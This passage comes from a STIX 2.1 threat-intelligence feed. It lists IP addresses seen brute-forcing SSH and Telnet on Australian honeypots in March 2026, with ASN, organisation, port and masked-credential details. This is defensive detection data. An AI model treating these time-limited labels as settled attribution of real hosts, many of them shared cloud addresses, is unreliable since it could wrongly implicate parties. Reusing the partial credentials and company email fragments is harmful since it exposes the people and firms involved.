      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--63926184-a1a0-4817-884a-d23ce26696f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.185.11.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 993. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc.. Usernames observed (masked): a***n@kelltech.dev. Passwords observed (masked): A********$, A********5.",
      "id": "indicator--a9ced9ad-f832-4ee8-bc21-a35aa86ef916",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.216.89.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--4fc89db2-084d-4d68-b27c-d45f0d01ac4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.133.202.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141146. Organisation(s): PT Indonesia Telekomunikasi Teknologi. Usernames observed (masked): 3**********4, r**t, k***m, n****b, a**s. Passwords observed (masked): 3***********4, 3**********4, ***, 1******q, 1***5.",
      "id": "indicator--9d6e2620-4476-4ff9-91f7-c5701abdccd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.253.239.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:15:07.000Z",
      "valid_until": "2026-04-15T02:15:05.000Z"
    },
    {
      "created": "2026-03-14T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch.",
      "id": "indicator--8154ef13-56de-4240-b33e-c731d7a1f774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.72.49.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:15:07.000Z",
      "valid_until": "2026-04-15T03:15:05.000Z"
    },
    {
      "created": "2026-03-14T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): s*****e, 3**********4, S***x, a****c, a******e. Passwords observed (masked): 1****6, 3***********4, 3**********4, S***x, a****c.",
      "id": "indicator--237a5eac-c62a-46d3-b048-a6c7bd46672e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.13.221.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:15:07.000Z",
      "valid_until": "2026-04-15T03:15:05.000Z"
    },
    {
      "created": "2026-03-14T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): m*******1. Passwords observed (masked): m*******1.",
      "id": "indicator--e920aaf5-a06a-4e81-bc8e-e6f2c1045fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:15:07.000Z",
      "valid_until": "2026-04-15T03:15:05.000Z"
    },
    {
      "created": "2026-03-14T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 993. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): p********r@bardengineering.com. Passwords observed (masked): B******************5.",
      "id": "indicator--abf62690-6e07-4624-9aa2-065449bffdcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:15:07.000Z",
      "valid_until": "2026-04-15T03:15:05.000Z"
    },
    {
      "created": "2026-03-14T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 993. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n@bardengineering.com. Passwords observed (masked): B******************5.",
      "id": "indicator--711c88c2-54c6-4225-b8aa-588cb0df74d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.6.221.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:15:07.000Z",
      "valid_until": "2026-04-15T03:15:05.000Z"
    },
    {
      "created": "2026-03-14T04:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): m****y, 3**********4, c******r, r**t, r**e. Passwords observed (masked): ***, 1***5, 1****6, 2**3, 3***********4.",
      "id": "indicator--c2f78244-738f-46cd-b016-cb01e0460cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T04:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:15:07.000Z",
      "valid_until": "2026-04-15T04:15:05.000Z"
    },
    {
      "created": "2026-03-14T04:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria.",
      "id": "indicator--cd8243c4-0e98-462e-827f-f42ad0ea0ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T04:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.102.88.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:15:07.000Z",
      "valid_until": "2026-04-15T04:15:05.000Z"
    },
    {
      "created": "2026-03-14T04:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 22. Source country: ES. ASN(s): 41608. Organisation(s): NextGenWebs, S.L..",
      "id": "indicator--57f84b75-0823-4991-ad64-7fc539057f06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T04:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.213.175.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:15:07.000Z",
      "valid_until": "2026-04-15T04:15:05.000Z"
    },
    {
      "created": "2026-03-14T04:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d1f39cea-e9a0-48ac-b1ed-06cdce0051cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T04:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:15:07.000Z",
      "valid_until": "2026-04-15T04:15:05.000Z"
    },
    {
      "created": "2026-03-14T04:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--1b680889-4778-46f5-93be-3ed2e98c915a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T04:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:15:07.000Z",
      "valid_until": "2026-04-15T04:15:05.000Z"
    },
    {
      "created": "2026-03-14T04:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T04:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:15:07.000Z",
      "valid_until": "2026-04-15T04:15:05.000Z"
    },
    {
      "created": "2026-03-14T05:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140318. Organisation(s): CHINATELECOM Guangdong province Heyuan 5G network.",
      "id": "indicator--e72f7631-d943-45f3-9132-5f8471ded8ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T05:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.138.108.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T05:15:09.000Z",
      "valid_until": "2026-04-15T05:15:05.000Z"
    },
    {
      "created": "2026-03-14T05:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--716430f4-59b5-44e3-872c-c805327fc8d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T05:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.199.138.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T05:15:09.000Z",
      "valid_until": "2026-04-15T05:15:05.000Z"
    },
    {
      "created": "2026-03-14T05:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T05:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T05:15:09.000Z",
      "valid_until": "2026-04-15T05:15:05.000Z"
    },
    {
      "created": "2026-03-14T05:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--696ccc7a-3399-47e2-8dbd-2ce2df116abd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T05:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.79.81.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T05:15:09.000Z",
      "valid_until": "2026-04-15T05:15:05.000Z"
    },
    {
      "created": "2026-03-14T05:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD.",
      "id": "indicator--813ae04d-4f53-4644-a259-53e2c1057a08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T05:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T05:15:09.000Z",
      "valid_until": "2026-04-15T05:15:05.000Z"
    },
    {
      "created": "2026-03-14T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 8400. Organisation(s): TELEKOM SRBIJA a.d..",
      "id": "indicator--32c5d53c-3864-4873-96e1-5647e01c8886",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.198.29.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:15:07.000Z",
      "valid_until": "2026-04-15T06:15:05.000Z"
    },
    {
      "created": "2026-03-14T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, ***, c**a, e***l. Passwords observed (masked): 3***********4, 3**********4, A*******+, C******!, T************!.",
      "id": "indicator--f3c7133f-5490-46c7-adff-80145751229d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.33.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:15:07.000Z",
      "valid_until": "2026-04-15T06:15:05.000Z"
    },
    {
      "created": "2026-03-14T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8bbffd96-f8ff-439e-a073-cfada675b9ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:15:07.000Z",
      "valid_until": "2026-04-15T06:15:05.000Z"
    },
    {
      "created": "2026-03-14T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): c**n, 3**********4, a****s, g******r, n******a. Passwords observed (masked): 1****6, 1**4, 1****4, 3***********4, 3**********4.",
      "id": "indicator--2ba974bc-4f8b-4381-af0c-a4a2d62a1985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.208.48.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:15:07.000Z",
      "valid_until": "2026-04-15T06:15:05.000Z"
    },
    {
      "created": "2026-03-14T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--465bb9f3-9c76-41c6-bced-30b2f01f0ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:15:07.000Z",
      "valid_until": "2026-04-15T06:15:05.000Z"
    },
    {
      "created": "2026-03-14T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--653977e4-4221-4e55-9ce5-a337fa97c5d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:15:07.000Z",
      "valid_until": "2026-04-15T06:15:05.000Z"
    },
    {
      "created": "2026-03-14T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--44ffd993-d747-4c2b-bd77-a47803f44b66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.162.123.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:15:07.000Z",
      "valid_until": "2026-04-15T07:15:05.000Z"
    },
    {
      "created": "2026-03-14T07:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): m*****l. Passwords observed (masked): 1******8.",
      "id": "indicator--95058415-0dd3-41d0-999d-a04738767a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.51.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:15:07.000Z",
      "valid_until": "2026-04-15T07:15:05.000Z"
    },
    {
      "created": "2026-03-14T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--aa8edd00-87d5-48c0-9c35-37f3119e0e81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:15:07.000Z",
      "valid_until": "2026-04-15T07:15:05.000Z"
    },
    {
      "created": "2026-03-14T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--513d89ce-0e12-4f5b-af64-7587abe17193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.103.119.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:15:07.000Z",
      "valid_until": "2026-04-15T07:15:05.000Z"
    },
    {
      "created": "2026-03-14T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): **, 3**********4, b****a, **, d*****p. Passwords observed (masked): 1****6, 1**4, ***, 1*************#, 3***********4.",
      "id": "indicator--700c0fc6-02ce-44e0-af45-98222389b794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.247.23.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T08:15:14.000Z",
      "valid_until": "2026-04-15T08:15:11.000Z"
    },
    {
      "created": "2026-03-14T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): g*****n, 3**********4, **, b***n, d**l. Passwords observed (masked): 1******8, 1******2, 3***********4, 3**********4, A****!.",
      "id": "indicator--71dea1ea-ec2a-4b40-9443-a0a2e5f16435",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.73.111.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T08:15:14.000Z",
      "valid_until": "2026-04-15T08:15:11.000Z"
    },
    {
      "created": "2026-03-14T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 24282. Organisation(s): KAGOYA JAPAN Inc.. Usernames observed (masked): r**t, d*****r, 3**********4, ***, ***. Passwords observed (masked): 1***5, 3***********4, 3**********4, A*****!, D*********!.",
      "id": "indicator--e60e0123-03d6-447b-8044-d04e66dfa463",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '133.18.105.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T08:15:14.000Z",
      "valid_until": "2026-04-15T08:15:11.000Z"
    },
    {
      "created": "2026-03-14T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--6b4bf22f-3942-4970-9cda-11129c51792a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.150.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T08:15:14.000Z",
      "valid_until": "2026-04-15T08:15:11.000Z"
    },
    {
      "created": "2026-03-14T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 60223. Organisation(s): Netiface Limited. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--219fc22b-50ef-4492-b1d5-0aacd7ba0c09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.3.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T08:15:14.000Z",
      "valid_until": "2026-04-15T08:15:11.000Z"
    },
    {
